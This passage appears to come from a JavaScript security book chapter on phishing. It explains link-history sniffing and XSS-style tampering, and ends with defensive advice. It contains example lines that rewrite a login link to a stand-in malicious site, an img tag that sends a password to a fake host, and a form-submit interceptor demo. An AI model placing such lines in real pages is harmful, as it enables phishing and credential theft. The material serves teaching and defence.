We can basically make use of JavaScript to sniff for the link's state. For example, we might have a web page of some of the most commonly visited links. Assume that we get a user to visit this web page of ours. If one or more links on our web page has a state of :visited, then we know that this user has previously visited this page.

We can simply get the state of the link by doing this (using jQuery):

$("a:visited").length // simply returns the number of links that has been visited.

While this may work for older browsers, newer browser versions have stopped supporting this feature for security purposes. So, if for some reason, you (or people you know) have not upgraded their browsers to newer ones, it is time to get them upgraded.

XSS and CSRF can also "contribute" to phishing. Remember that a piece of JavaScript on a web page has access to all the elements on a web page. This means that the JavaScript, once injected into the web page, can do many things, including malicious activities.

For instance, consider a login URL. A piece of malicious JavaScript could change the login URL of the button to a malicious web page (a common strategy seen as part of the classic examples).

Consider a normal login URL, as follows:

<a id="login" href="/safe_login">Login Here</a>

This can be changed using the following code :

$("#login").attr("href","http://malicious-website.com/login")")

Another classic example is the use of img tags, where the correct image is shown, but the URL contains the image that comes from a malicious link, and this link attempts to send your personal information to the malicious server:

<img src="http//malicious-sites.com/your-logo.jpg?sensitive_data=yourpassword"/>

XSS and CSRF can also be used to intercept events, such as form-submit requests, and manipulate the request by sending the information to some other malicious servers.

Take a look at the code example for intercept.html in this chapter:

<!DOCTYPE html>
<html lang="en">
  <head>

    <title>Intercept</title>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>

    <div class="container">
      <div class="header">
        <ul class="nav nav-pills pull-right">
          <li class="active"><a href="#">Home</a></li>
          <li><a href="#">About</a></li>
          <li><a href="#">Contact</a></li>
        </ul>
        <h3 class="text-muted">Project name</h3>
      </div>

      <div class="jumbotron">
        <form role="form">
          <div class="form-group">
            <label for="exampleInputEmail1">Input 1</label>
            <input id="input1" type="text" class="form-control" id="exampleInputEmail1" placeholder="Input 1">
          </div>
          <div class="form-group">
            <label for="exampleInputPassword1">Input 2</label>
            <input id="input2" type="text" class="form-control" id="exampleInputPassword1" placeholder="Input 2">
          </div>
          <button type="submit" class="btn btn-default">Submit</button>
        </form>
      </div>
    </div> <!-- /container -->
    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
    <script>
    $(document).on('submit', 'form', function(event) {
    	console.log("submit");
      console.log( $('#input1').val() );
      console.log( $('#input2').val() );
      // perform a get or post request to a malicious server. 
      console.log("i might just send your form data to somewhere else")
    })
    </script>
  </body>
</html>

I want you to note the JavaScript snippet where the script is listening to a global submit event. Assuming the hijacker knows what the form fields are, the ID that your form is using, and assuming they have successfully injected this piece of script into your website, you may be in deep trouble.

To see why, open intercept.html in your browser. You should see the following output:

A simple form with a script listening for a global submit event

Now, try to input some values, as I did in the preceding screenshot. Now open your console and check the output as you click on Submit. The output will look similar to the following screenshot:

The form data can be sent anywhere should this script be malicious

Since the script is listening for a global form submit event, it can technically listen and pass the values to URLs other than your site.

Newer versions of web browsers typically contain upgrades or security fixes. To upgrade to newer versions of the particular web browsers you are using, you can simply visit the main website of the browser vendor. For instance, if you are using Google Chrome, you can visit https://www.google.com/chrome/browser/, while you can visit https://www.mozilla.org/en-US/firefox/new/ for Mozilla Firefox.

Some of the more notable ones include the removal of support to access a browser's history either via window.history or by accessing the user's local state: $("a:visited").

From the aforementioned types of phishing, you might have noticed that one common strategy used by phishing sites is the use of fake websites. Should you recognize a fake website, you can avoid the chances of being phished.

Here are tips to help you recognize real websites:

By protecting your sites against XSS and CSRF, you greatly reduce the risk of JavaScript security issues such as those covered in previous chapters.

You can design your website so that it avoids the use of pop ups and keeps your address bars. By not using pop ups, you reduce a possible imitation technique that can be used to perform phishing. An alternative to using pop ups would be to use certain techniques, such as the modal dialog boxes used in Bootstrap (http://getbootstrap.com/javascript/#modals).

Second, keeping address bars allows you and your users to check the URL for any discrepancies. Similarly, there is one fewer area that hijackers can exploit to phish you or your users.